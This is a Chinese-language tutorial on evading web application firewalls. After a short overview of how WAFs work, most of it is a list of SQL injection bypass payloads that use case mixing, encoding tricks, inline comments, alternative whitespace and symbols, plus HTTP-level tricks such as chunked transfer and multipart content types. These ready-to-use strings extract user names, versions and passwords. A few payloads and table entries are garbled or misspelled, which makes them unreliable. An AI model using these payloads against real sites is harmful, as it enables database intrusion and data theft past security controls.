'绕过WAF(自闭教程)'

1. WAF

1.1 WAF介绍

WAF是Web Application Firewall的简称。中文名为Web应用防护系统,也称网站应用级入侵防御系统。

1.2 WAF作用

1.2.1 网络层防护

拦截DDOS攻击、防御SYN Flood、防御Ack Flood、防御Http/Https Flood

1.2.2 应用层防护

URL黑白名单、HTTP协议规范、防御注入攻击、防御XSS攻击、防御XXE

1.3 分类

代码WAF:规则写在代码中

软件WAF:实时监听端口(服务)

硬件WAF:专门的硬件设备 代理流量 分析流量 网络镜像

云WAF:流量传到检测节点中做检测

1.4 工作流程

1.4.1 身份验证

白名单(IP、cookie、useragent、referer)
黑名单

1.4.2 数据包解析

1.4.3 匹配规则

ACL(访问控制列表)

2.Bypass常用方法

2.1 大小写

1
select * from users where id='1 ' uNion SelEct 1,2,3,4 --+

2.2 替换关键字(关键字重复写)

1
select * from users where id=1 ununionion selselectect

2.3 编码

2.3.1 URL编码

1
select * from users where id=1 %75nion select

2.3.2 二次URL编码

将URL编码两次

2.3.3 错误URL编码

1
2
union select password from users where id=1
u%nion sel%ect password fr%om users wh%ere id=1

在注入关键词处加上%,WAF会将其取出

2.3.4 Unicode编码

1
2
union select password from users where id=1
%u0075%u006e%u0069%u006f%u006e select password from users where id=1

Unicode编码

2.3.5 Nibble编码

Nibble编码是针对URL编码的%后两位进行二次编码的一种方法。
根据编码位置不同,被分为First Nibble、Second Nibble以及Double Nibble三种。

Type Transformation of %61 Result
First Nibble 6 = %36 %%361
Second Nibble 1 = %31 %6%31
Double Nibble 6 = %36 1 = %31 %%36%31

2.3.6错误16进制编码

Hex Character Conversion Decimal
%61 6*16+1 97
%2ú 2*16+65 97

2.4 内联注释

/* */

1
select * from users where id=1 union/**/

2.5 等价函数替换

1
2
3
version @@version
mid substr substring
@@datadir datadir()

2.6 特殊符号

1
2
3
4
5
6
7
8
9
10
11
12
+
#
%23
--+
\\\\
||
select`version()`
@ 用户自定义变量
@@ 系统变量
se||lect
%df宽字节
注释符+%0a绕过

2.7 内联注释加!

1
/*!union*/

2.8 缓冲区溢出

1
?id=1 and (select 1)=(select 0xAAAAAAAAAAAA*1000) union select 1,2 verion(),4,5,database(),8,9,10,11,12,13,14,15,16,17,18

0xA*1000指有1000个A

2.9 mysql特性绕过

1
2
3
= 等于
:= 赋值
@ @+变量名可直接调用

2.10 隐私类型转换

1
2
select 'a'=0;
select '1admin'=1;

2.11 综合探索

内联注释
黑魔法

1
select{x user}from{x mysql.user}

换行符绕过:%23%0a %2d%2d%0a

1
2
select * from admin where id=1[1] union [2]select [3]1,user()[4]from[5]admin
//[]表示检测点

2.11.1

[1]:

1
/**/ /*!50000union*/
1
2
空白 %09 %0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
1
2
浮点数形式
id=1.0union select 1,user() from admin
1
2
1E0
id=1E0union select 1,user() from admin
1
2
\
id=\Nunion select 1,user() from admin

2.11.2

[2]:

1
空白
1
注释符
1
2
括号
id=1 union(select 'test',(select user()from admin limit 0,1))

2.11.3

[3]:

1
空白
1
注释符
1
2
3
4
5
6
7
其他字符
! %21
+ %2b
- %2d
@ %40
~ %7e
id=1 union select~1,user(),version() from admin
1
2
括号
id=1 union select(1),user(),version() from admin
1
2
内联注释
id=1 union /*!500000select*/ 1,user(),version() from admin
1
2
{}
id=1 union select{x 1},user(),version() from admin
1
2
""
id=1 union select"1",user(),version() from admin
1
2
\N
id=1 union select\N,user(),version() from admin

2.11.4

[4]:

1
空白
1
注释符
1
2
3
其他字符
` %60
id=1 union select 1,user(),version()`from admin`
1
内联注释
1
括号
1
2
加字母
id=1 union select 1,user(),version()Afrom admin
1
浮点数、1E0、\N

2.11.5

[5]:

1
空白
1
注释符
1
2
3
其他符号
中文破折号
id=1 union select 1,user(),version() from——admin
1
内联注释
1
2
{}
id=1 union select 1,user(),version() from{x admin}
1
()
1 2 2
1 2 2
1 2 2

2.12 空白

RDBMS Allowed whitespaces
SQLite 3 0A,0D,0C,09,20
MySQL 5 09,0A,0B,0C,0D,A0,20
Oracle 11g 00,09,0A,0B,0C,0D,20
MSSQL 2008 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20,25

2.13 特殊位置代替空格

科学计数法(1e0,.)
数学计算(+-*/)
特殊字符(\N)
注释符(/**/)

2.14 无空格的查询

1
?id=1e0and{``select(left(database(),1))}

3. 基于HTTP协议的绕过方式

OWASP AppSec Europe
WAF Bypass Techniques-Using HTTP Standard and Web Servers’ Behaviour -- Soroush Dalili
来源:漏洞银行丨一般人我不告诉的WAF绕过新姿势-1337G丨咖面74期

3.1 基于HTTP0.9协议的绕过方式

3.2 HTTP隧道传输/HTTP pipline

通过BP拦包,在一个请求下添加多个请求,注意需要修改

1
2
Connection:keep-alive
Content-Length:

3.3 畸形包

由于c=2&d=2后面的内容WAF并能不识别,所以GET后面的Payload没有被WAF拦截掉

3.4 分块传输/Chunked Transfer

通过使用HTTP头Transfer-Encoding:chunked设置达到分割参数的效果
在HTTP/1.1下使用

奇数行表示下一行的数据长度,使用16机制表示
偶数行表示传输的数据
在最后一行写0,并在0后写入多个回车
0后没有回车会没有响应

3.5 协议未覆盖

以下四种常见的content-type类型,我们可以尝试互相替换尝试绕过WAF过滤机制。

1
2
3
4
Content-Type:text/html;charset=UTF-8
Content-Type:application/json;charset=utf-8
Content-Type:application/x-www-form-urlencoded;charset=utf-8
Content-Type:multipart/form-data;boundary=something

注:如图常见的绕过方式为使用multipart/form-data标签,并把name设为参数名内容写入注入语句。

4. 参考

[1] 漏洞银行丨一般人我不告诉的WAF绕过新姿势-1337G丨咖面74期

[2] Additional notes on “A Forgotten HTTP Invisibility Cloak” talk!